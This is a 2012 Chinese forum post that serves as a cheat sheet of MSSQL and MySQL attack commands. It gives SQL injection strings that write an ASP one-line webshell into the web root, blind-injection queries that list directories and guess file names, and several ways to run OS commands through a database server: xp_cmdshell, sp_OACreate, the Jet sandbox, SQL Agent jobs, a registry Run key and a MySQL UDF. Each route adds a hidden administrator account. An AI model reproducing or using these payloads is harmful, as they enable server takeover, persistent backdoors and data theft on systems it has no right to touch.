找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2891|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MSSQL语句导出一句话木马% T! h* }' V7 c+ r) u! `
首先确定网站的WEB路径, i- j: j. r9 w
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
3 f1 j" o, \8 I, P) {
. I- B# H/ H9 E' t;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
8 o! ?  ~9 f! @& k* r//将一句话木马插入表中
1 H+ |' o% p7 D: `  z9 C
0 _5 w4 o0 n  H+ m;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 1 U5 t5 x' ?: f+ n) ]$ D" a" P
//导出一个ASP文件
; p+ k1 v- ?" r; t8 D/ E
1 ~5 z8 A4 G& _2 l/ t1 Q# d3 k5 k0 y9 D0 W: ~- b. S
关于MSSQL列目录% q; g9 j# _) X
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表" m( \" _- b) t' H2 z8 O
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表. F9 c2 g. W+ s: p8 |
. R* k+ v7 c8 R  O& ~
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
! c) D# f! J7 {, m4 Y6 n5 ]
0 X$ A( K1 ?# R/ @+ m- \' FAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段  Y% D' `$ j; r2 k- L
; ]2 r& b8 S* `  [
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
2 K$ P& n) Q3 I) T- A! D; B- k" M# n* ~  r/ q

6 l0 A" [. @3 B! T/ F: l1 `数据库版本和权限查看: @+ l1 [/ V) a& c0 @
and 1=(select @@VERSION) //查看详细的数据库信息.) {3 B: ~2 _5 T4 p0 _2 |1 N
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
/ p$ N4 a2 ^4 B3 e. H4 dand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
/ B( P3 O6 L* V, l$ w6 ^& n0 o- F2 y
1 u/ ?+ ^2 s: ~+ s2 t  E) V: q) }/ ~# s6 G( W% A+ a
1.利用xp_cmdshell执行命令
+ I2 {, p* ^* ]( b3 C, U0 Lexec master..xp_cmdshell 'net user rfire 123456 /add'
7 Z3 N2 g9 ?) O6 r1 ?4 A2 c3 ~( }exec master..xp_cmdshell 'net localgroup administrators rfire /add'; ?; x* A7 T1 n$ f7 c+ v

2 T% M! b/ N6 n, b8 q1 E3 a3 t恢复xp_cmdshell存储过程+ i+ Q, V9 @0 `" q) i! E
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'4 Q5 a  ^7 o2 {5 k% b) k* ]  t  Q
7 Y% r4 D5 u* t3 u0 e, i5 Z! T

* z0 C9 E+ t2 u2.利用SP_OAcreate和SP_OAMETHOD执行命令
6 J* h( c# P  F3 H2 m+ C! e3 `4 C在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下$ H( [  ?+ `/ h+ P3 y7 ]) T' O7 N
DECLARE @shell INT //建立一个@shell实体) F  l; A/ X1 W$ G. P& S
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例: o# K& J, C" T; b3 p3 w
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例/ s0 t, y+ ]: r0 [* b7 p7 W

3 ^/ e5 \' |3 Q1 w4 t  w( ^, P  b8 H1 g) F
3.利用沙盒模式
$ R7 d. e/ N* h先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
$ o5 L) w  @7 V& `* Q$ w, v- `开启沙盒模式:
; c- h, w6 ?/ B/ J% \EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0. }6 x6 V4 \  j) l" l9 F( S7 i# S0 ]

" z# e% S+ u0 ?/ u" |# [: g执行命令:
. k" {% O  N" ]/ E# z  lSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');* z3 H  @2 m" K: M8 z1 p

2 g# S, W0 W* U! F' p  z% C! ~6 _5 {: S6 i, D
4.利用SQL代理执行命令
7 d, u1 x& U+ I# ]) r. z4 jEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务# T. g6 ?7 o7 `7 v3 T7 D) u
% p: g& U- x& O- {/ Y# z3 f
执行命令:" x. X/ d2 \9 d$ O* Q
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错! e3 k$ O. d0 L2 U2 d
exec sp_add_job 'x'/ T/ C$ y2 z4 \" f/ C# d& ~
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
4 c% ~7 @! C% f, _$ bexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业" Q, ]5 M, p# \2 G: r/ K
( }* T$ N* C- Z$ a7 P: Z3 f
( f. ?) T) f  N" R! H
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
8 d7 C9 Q& d% I, \. N5 v- wEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
1 v! [: U0 h0 q8 L) @* s, t" Z& L5 ~& O

$ ~" O8 }+ X6 w3 `! z* P7 i$ R: K! u# X6.MYSQL的命令执行
  m0 G0 U5 P' p% T  |; dMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)% P# L# v# D- R$ v) q
首先要在su.php下导出c:\windows\udf.dll
/ {7 ]  t4 u& [; M- s导出后执行创建自定义函数命令:
$ k8 E7 ^4 E5 w6 t$ h/ b+ ZCreate Function cmdshell returns string soname 'udf.dll'
; t5 D+ {( `( ^7 O执行命令3 L  u  @/ x) ~
select cmdshell('net user rfire 123456 /add')! K- Z1 S2 z/ L; b* l5 R1 P" R1 ^
执行后删除函数 drop function cmdshell0 D% B* `4 H- i( F- Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表